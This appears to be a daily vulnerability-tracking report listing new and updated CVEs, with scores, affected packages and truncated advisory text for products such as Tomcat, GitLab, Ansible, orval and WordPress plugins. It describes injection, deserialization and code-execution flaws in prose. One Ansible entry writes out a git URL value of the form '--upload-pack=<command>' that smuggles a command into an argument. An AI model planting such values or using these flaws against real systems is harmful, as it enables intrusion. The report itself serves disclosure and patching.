CVE-2026-84298	Updated - CVSS added	3.1	LOW		0.002		Hatchet is a platform for orchestrating background tasks, AI agents, and durable workflows at scale. Prior to 0.95.3, the V1 DurableTask stream handler stores worker-supplied task_external_id values in the durableInvocations routing map before tenant ownership is verified, and callback delivery resolves that map by task UUID without tenant identity. An authenticated tenant w...
CVE-2026-95820	Updated - CVSS changed (6.3 → 2.1)	2.1	LOW		0.003		A vulnerability was found in anirbandutta9 College-Notes-Gallery up to 8c1cf3d98f30982d069c88ca172612c001eb39f6. Affected by this issue is some unknown functionality of the file /dashboard/userprofile.php?section=admin1. Performing a manipulation of the argument image results in unrestricted upload. It is possible to initiate the attack remotely. The exploit has been made pu...
CVE-2026-95828	Updated - CVSS changed (4.3 → 2.1)	2.1	LOW		0.007		A vulnerability was determined in Mstfakts College-Management-System. This affects the function session_start of the file Front-end/server.php of the component Authentication. Executing a manipulation can lead to session fixiation. It is possible to launch the attack remotely. The exploit has been publicly disclosed and may be utilized. This product takes the approach of rol...
CVE-2026-95830	Updated - CVSS changed (6.3 → 2.1)	2.1	LOW		0.003		A security flaw has been discovered in theRealSain Pixtream up to 866afd4f0cea812b918780fb74b67dccf8c4d6a0. This issue affects some unknown processing of the file /post_upload.php. The manipulation of the argument media results in unrestricted upload. The attack can be launched remotely. The exploit has been released to the public and may be used for attacks. This product do...
CVE-2026-95833	Updated - CVSS changed (6.3 → 2.1)	2.1	LOW		0.003		A weakness has been identified in itsourcecode Leave Management System 1.0. Impacted is an unknown function of the file /module/leavetype/index.php. This manipulation of the argument ID causes sql injection. The attack may be initiated remotely. The exploit has been made available to the public and could be used for attacks.
CVE-2026-95868	Updated - CVSS changed (6.3 → 2.1)	2.1	LOW		0.003		A weakness has been identified in AdithyaYelloju Restaurant-Management-System up to 7f0e7e84255e8fcd488e83f8f91451bbbff6b9c. Affected by this issue is the function mysqli_query of the file admin/display_menu.php of the component Search Form. This manipulation of the argument s1 causes sql injection. The attack can be initiated remotely. The exploit has been made available t...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-95957	Updated - CVSS changed (4.3 → 2.1)	2.1	LOW		0.005		A vulnerability was found in SourceCodester Smart Attendance System with QR Code Scanner 1.0. This issue affects the function prepend of the file student_signup.php of the component Self-Registration. Performing a manipulation of the argument full_name results in cross site scripting. Remote exploitation of the attack is possible. The exploit has been made public and could b...
CVE-2026-95897	Updated - CVSS changed (5.5 → 2.0)	2.0	LOW		0.003		A security vulnerability has been detected in Dask up to 2026.8.0. This affects the function from_numpy_stack of the file dask/array/core.py of the component Loader. Such manipulation leads to deserialization. The attack can be launched remotely. The exploit has been disclosed publicly and may be used. The project was informed of the problem early through an issue report but h...
CVE-2026-95928	Updated - CVSS changed (5.5 → 2.0)	2.0	LOW		0.003		A security flaw has been discovered in recommenders-team recommenders up to 1.2.1. This impacts the function pickle.load of the file recommenders/models/newsrec/io/mind_iterator.py of the component Dict Loading. Performing a manipulation results in deserialization. It is possible to initiate the attack remotely. The exploit has been released to the public and may be used for...
CVE-2026-57149	Updated - Fix/version updated		CRIT		0.006	pip:plone.app.portlets	### Impact The Classic portlet (plone.app.portlets.portlets.classic) used its user-supplied template/macro fields to build a TALES path expression that was then evaluated by the TAL path() helper. Because the value was interpreted as a full TALES expression, a user able to add or edit a Classic portlet could supply a crafted value that escapes simple path traversal and is ev...
CVE-2026-57576	Updated - Fix/version updated		MODE		0.008	pip:plone.app.dexterity	### Impact When creating content with a very large title or description field, Plone can become unresponsive. Even if the content loads, it can be hard to edit or delete, because the UI is unwieldy. ### Patches The problem has been patched in `plone.app.dexterity`. * On Plone 6.2, upgrade to `plone.app.dexterity` 5.0.1. * On Plone 6.1, upgrade to `plone.app.dexterity` 4.1....
CVE-2026-61685	Updated - Fix/version updated		HIGH		0.005	npm:@fecommunity/reactpress	## Summary ReactPress API list endpoints build TypeORM `QueryBuilder` conditions using unsanitized HTTP query parameter *names* as SQL column identifiers (e.g. `` `article.\${key}` ``). TypeORM parameterizes values but not column names, allowing unauthenticated attackers to inject SQL through crafted query string keys. ## Impact An unauthenticated remote attacker can perfo...

Added to CISA KEV today

None in this window.

P1 new today

None in this window.

P2 new today

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-59167	New	10.0	CRIT				SunEditor is a lightweight and powerful WYSIWYG editor in vanilla JavaScript with no dependencies. Prior to 2.47.11, the sanitizer in src/lib/core.js does not consistently reject namespaced or custom HTML elements, allowing event-handler attributes to remain on crafted elements. When an application renders attacker-controlled editor content and a user interacts with the elem...
CVE-2026-86708	New	10.0	CRIT				ZohoCorp ManageEngine Applications Manager versions 182200 and below were vulnerable to exposure of a Google Cloud service-account private key in the Applications Manager installer, which could allow an unauthenticated attacker to impersonate the service account and access or modify associated cloud resources.
CVE-2026-19599	New	9.9	CRIT				ZohoCorp ManageEngine OpManager MSP versions 12.8.709 and below were vulnerable to a Remote Code Execution vulnerability in the Notification Profile module.
CVE-2026-77602	New	9.9	CRIT			rubygems:openc3	OpenC3 COSMOS provides the functionality needed to send commands to and receive data from one or more embedded systems. From 5.1.0 until 7.3.0, authenticated non-administrator users can write content under targets_modified/ that is later executed by multiple configuration paths below the intended code-execution privilege tier. Table and command or telemetry definitions are p...
CVE-2026-84474	New	9.9	CRIT				A flaw was found in Red Hat Ansible Automation Platform's automation- controller. The provisioning-callback secret (host_config_key) is exposed to users holding only the read-level view_jobtemplate permission -- both in the job template API representation and in the activity stream -- and the provisioning callback endpoint trusts a client-supplied X-Forwarded-For header to d...
CVE-2026-84502	New	9.9	CRIT				A flaw was found in Red Hat Ansible Automation Platform's automation- controller. The Project scm_url field is not validated against values that begin with a dash and is stored and passed verbatim to the git SCM module. Because the module runs git ls-remote with the URL as a positional argument and without a "--" separator, a git project URL such as "--upload-pack=<command>:..."
CVE-2026-84719	New	9.9	CRIT				A flaw was found in the Ansible Automation Platform automation-controller. When a WorkflowJobTemplate is copied, the deep-copy permission sanitizer validates only the inventory, unified_job_template, and credentials of each cloned node and fails to check the instance_groups (and execution_environment and labels) that were preserved from the original. A user with organization...
CVE-2026-89078	New	9.9	CRIT				GitLab has remediated an issue in GitLab CE/EE affecting all versions from 19.2 before 19.2.7, 19.3 before 19.3.3, and 19.4 before 19.4.1 that under certain conditions could have allowed an authenticated user to execute arbitrary code on the GitLab server due to a double free issue when parsing a specially crafted regular expression in a CI/CD configuration.
CVE-2026-93577	New	9.9	CRIT				GitLab has remediated an issue in GitLab CE/EE affecting all versions from 19.2 before 19.2.7, 19.3 before 19.3.3, and 19.4 before 19.4.1 that under certain conditions could have allowed an authenticated user to execute arbitrary code on the GitLab server due to an integer overflow issue when compiling a specially crafted regular expression in a CI/CD configuration.
CVE-2025-63564	New	9.8	CRIT				SQL injection vulnerability in Moodle Socialwall plugin v.3.0 through v.3.3 allows an attacker to execute arbitrary code via crafted HTTP requests

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-18467	New	9.8	CRIT				The Paytium: Mollie payment forms & donations plugin for WordPress is vulnerable to Privilege Escalation in all versions up to, and including, 5.0.3. The 5.0.3 patch introduced a wp_hash()/hash_equals() signature gate on the pt-paytium-user-data field, but left a second filter — pt_cf_checkout_meta(), registered on the pt_meta_values hook after the signed builder — that copi...
CVE-2026-6721	New	9.8	CRIT				IBM Concert 1.0.0 through 3.0.0 allows an unauthenticated remote attacker can supply specially crafted input that is incorporated into OS commands, resulting in arbitrary command execution on the underlying system. Successful exploitation allows remote code execution with the privileges of the affected application.
CVE-2026-6730	New	9.8	CRIT				IBM Concert 1.0.0 through 3.0.0 is vulnerable to a buffer overflow, caused by improper bounds checking. A local user could overflow the buffer and execute arbitrary code on the system.
CVE-2026-6928	New	9.8	CRIT				IBM Concert 1.0.0 through 3.0.0 references or accesses memory after it has been freed. This allows an attacker who can influence program execution or input may exploit this condition to corrupt memory, cause application crashes, or execute arbitrary code.
CVE-2026-76183	New	9.8	CRIT				Authentication Bypass by Alternate Name vulnerability in Apache Tomcat allowed the security constraints for any WebSocket endpoint to be bypassed. This issue affects Apache Tomcat: from 11.0.0-M1 through 11.0.25, from 10.1.0-M1 through 10.1.59, from 9.0.0-M1 through 9.0.121. The following versions were EOS at the time the CVE was created but are known to be affected: ...
CVE-2026-82331	New	9.8	CRIT		0.002		Improper link resolution before file access ('link following') vulnerability in the `tar` source plugin of Apache BuildStream running on Python < 3.12 allows malicious source tarballs to write files on the host, with the privileges of the user running BuildStream, via symlinks as part of source fetching. The impact of this issue is mitigated by: * BuildStream projects shoul...
CVE-2026-86248	New	9.8	CRIT				CLIENT_CERT authentication does not fail as expected for some scenarios when soft fail is disabled vulnerability in Apache Tomcat. This issue affects Apache Tomcat: from 11.0.0-M14 through 11.0.25, from 10.1.22 through 10.1.59, from 9.0.92 through 9.0.121. Users are recommended to upgrade to version 11.0.26, 10.1.60 or 9.0.122, which fix the issue.
CVE-2026-93352	New	9.8	CRIT				Laravel-Mediable 7.0.0 before 7.0.2 contains an incomplete patch for CVE-2026-49972 in which the .pht extension is absent from the forbidden_extensions blocklist in config/mediable.php. The blocklist introduced to address CVE-2026-49972 includes phpt but omits pht, which Apache executes as PHP via the default FilesMatch directive on Debian and Ubuntu systems. An attacker can...
CVE-2026-96276	New	9.8	CRIT				If a malicious SDK container declares an extension point with a crafted `directory` path, and a developer runs `flatpak build-init --writable-sdk --sdk-extension` with that SDK, attacker-chosen files could be written outside the working directory, since the target path is resolved via a function that allows `..` traversal.

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-96754	New	9.8	CRIT				orval versions before 8.29.0 contain a code injection vulnerability in the @orval/hono generator that fails to escape OpenAPI path values in single-quoted route literals. Attackers can craft an OpenAPI document with an apostrophe in a static path segment to inject arbitrary JavaScript code that executes when the generated TypeScript module is imported.
CVE-2026-96755	New	9.8	CRIT				orval versions 8.14.0 through 8.28.1 contain a code injection vulnerability in the @orval/effect generator that converts OpenAPI schema defaults into template literals. Attackers can inject arbitrary JavaScript expressions via schema defaults containing \${...} syntax, which are executed at module scope when the generated code is built or imported.
CVE-2026-96759	New	9.8	CRIT				orval before 8.29.0 fails to escape the operationId parameter when emitting it into generated TanStack Query mutator options metadata objects. Attackers can inject arbitrary JavaScript code through a crafted operationId in an OpenAPI specification that executes when generated hooks are called.
CVE-2026-96891	New	9.8	CRIT				A vulnerability was identified in D-Link DIR-825 3.00b32. Affected is the function tunnel_set_params of the file tunnel.c of the component rp-l2tp. The manipulation of the argument peer_hostname leads to out-of-bounds write. The attack may be initiated remotely.
CVE-2026-85724	New	9.6	CRIT			maven:io.moquette:moquette-broker	Moquette is a lightweight Java MQTT broker. Prior to 0.18.1, when pattern-based ACL rules are configured, AuthorizationsCollector.canDoOperation substitutes client ID and username values directly into rules containing %c or %u and then treats the result as an MQTT topic filter. A client that uses + or # in either identity can broaden the substituted filter and gain cross-ten...
CVE-2026-87898	New	9.4	CRIT				OS command injection in Plesk allows remote authenticated users to execute arbitrary code with root privileges.
CVE-2026-87899	New	9.4	CRIT				Execution with unnecessary privileges in cPanel allows remote authenticated users to execute arbitrary code with root privileges.
CVE-2026-87900	New	9.4	CRIT				Argument injection in WP Toolkit for cPanel 6.11.2-10794 and earlier allows remote authenticated users to read arbitrary files and execute arbitrary code across customer accounts.
CVE-2026-18872	New	9.3	CRIT				IBM Financial Transaction Manager (FTM) for RedHat OpenShift is vulnerable to stored cross-site scripting (CWE-79) in the FTM UI NetworkAcknowledgement React component (NetworkAcknowledgement.jsx:42). A malicious actor can inject script into stored network acknowledgement data that executes in authenticated operator browsers, enabling session hijacking and unauthorized opera...
CVE-2026-95601	New	9.3	CRIT				Unauthenticated SQL Injection in Product Filter by WBW <= 3.1.7 versions.
CVE-2026-95848	New	9.3	CRIT				Moquette is a lightweight Java MQTT broker. Prior to 0.18.1, when a configured authenticator or authorizer class cannot be loaded, Server.initializeAuthenticator and Server.initializeAuthorizerPolicy treat the failure as though no custom class was configured and fall back to AcceptAllAuthenticator or PermitAllAuthorizerPolicy. A misspelled class name, missing dependenc...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-96560	New	9.3	CRIT				LightLLM through 1.2.0 contains a remote code execution vulnerability in the KV-transfer worker when started with --pd_trans_mode nccl, which exposes an unauthenticated RPyC control channel that deserializes attacker-supplied data. Attackers can send malicious pickled objects to the exposed RPyC ThreadedServer to execute arbitrary code with the privileges of the LightLLM ser...
CVE-2026-96757	New	9.3	CRIT				orval before 8.29.0 fails to escape OpenAPI media-type keys when emitting them into single-quoted Content-Type string literals in generated code. Attackers can inject JavaScript through crafted media-type keys in OpenAPI specifications that executes when generated fetch operations or mock resolvers are invoked.
CVE-2026-96758	New	9.3	CRIT				orval @orval/core before 8.28.0 contains a code injection vulnerability in the form-data serializer that fails to escape multipart property names in generated template literals. Attackers can inject \${...} expressions into OpenAPI schema property names that execute as live interpolation when the generated client builds FormData bodies with consumer process privileges.
CVE-2026-96770	New	9.3	CRIT				All published s2s-proxy versions through 0.2.2 are affected. In versions 0.1.16 through 0.2.2, TLS server listeners use Go's RequireAnyClientCert mode when skipCAVerification is false. This mode checks that the client holds the certificate's private key but does not verify the certificate against the configured CA. An attacker can therefore use a self-signed certificate and ...
CVE-2026-63132	New	9.2	CRIT				OpenBao is an open source identity-based secrets management system. Prior to 2.6.0, OpenBao's handleLogicalRecovery path in http/logical.go compared the highly privileged recovery token with ordinary string equality. A remote unauthenticated attacker able to make repeated recovery mode requests and measure response timing could infer the recovery token. The recovered token c...
CVE-2026-67404	New	9.2	CRIT				RabbitMQ is a messaging and streaming broker. Prior to versions 3.13.15, 4.0.20, 4.1.11, 4.2.6, and 4.3.0, When no CA bundle is available, ssl_options/1 falls back to [{verify, verify_none}] with no warning. An attacker in a man-in-the-middle position can forge the JWKS response, which leads the broker to accept arbitrary JWTs. Preconditions include The OAuth2 plugin must be...
CVE-2026-96756	New	9.2	CRIT				orval versions before 8.30.0 contain a code injection vulnerability in the @orval/core factory generator that fails to escape date default values in new Date() calls. Attackers can inject arbitrary expressions through apostrophes in OpenAPI schema defaults to execute code with the privileges of the consumer process when factoryMethods and useDates options are enabled.
CVE-2026-67231	New	9.1	CRIT				RabbitMQ is a messaging and streaming broker. Prior to versions 3.13.15, 4.0.20, 4.1.11, 4.2.6, and 4.3.0, The trust-store plugin installs a verify_fun that overrides {bad_cert, unknown_ca} / {bad_cert, selfsigned_peer} when the presented cert "matches" a whitelisted one. The match key is extract_issuer_id/1 → public_key:pkix_issuer_id/2 → {IssuerName, SerialNumber} , both f...
CVE-2026-75884	New	9.1	CRIT				A flaw was found in AWX. The container group pod_spec_override field uses an incomplete blocklist that only restricts automountServiceAccountToken, allowing injection of initContainers, serviceAccountName overrides, and projected service account token volumes. An AAP platform administrator can exploit this to escalate privileges to OpenShift namespace-level access and exfilt...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-86246	New	9.1	CRIT				Initialization of a resource with an insecure default vulnerability in Apache Tomcat Native enabled insecure options by default including ALLOW_CLIENT_RENEGOTIATION, NO_EXTENDED_MASTER_SECRET, IGNORE_UNEXPECTED_EOF and ALLOW_NO_DHE_KEX. This issue affects Apache Tomcat Native: from 2.0.0 through 2.0.15, from 1.3.0 through 1.3.8. Earlier unsupported versions may also be a...
CVE-2026-86350	New	9.1	CRIT				Inconsistent interpretation of HTTP/2 requests ('HTTP Request/Response smuggling') vulnerability in Apache Tomcat caused by a regression in fix for CVE-2026-41293 can trigger request header mix-up. This issue affects Apache Tomcat: from 11.0.22 through 11.0.25, from 10.1.55 through 10.1.59, from 9.0.118 through 9.0.121. Users are recommended to upgrade to version 11.0....
CVE-2026-75799	New	9.0	CRIT		0.002		The YAHMAN Add-ons WordPress plugin before 0.9.31 does not validate the type of the remote files it caches in a publicly accessible directory, allowing unauthenticated attackers to write arbitrary PHP files on the server and achieve RCE when the relevant feature is enabled.
CVE-2026-82843	New	9.0	CRIT		0.002		The WP OAuth Server (Login with WordPress) WordPress plugin before 6.4.0 does not bind the OpenID Connect identity assertion it issues to the authorization grant being exchanged, returning instead the assertion belonging to whichever user authenticated most recently, which allows users with the Subscriber role and above to obtain a validly signed identity assertion for ano...

Historical reports are not rewritten when an older CVE changes. A CVE published on an earlier date remains in that earlier daily report; a meaningful change is shown separately in the update section for the date on which the change was detected.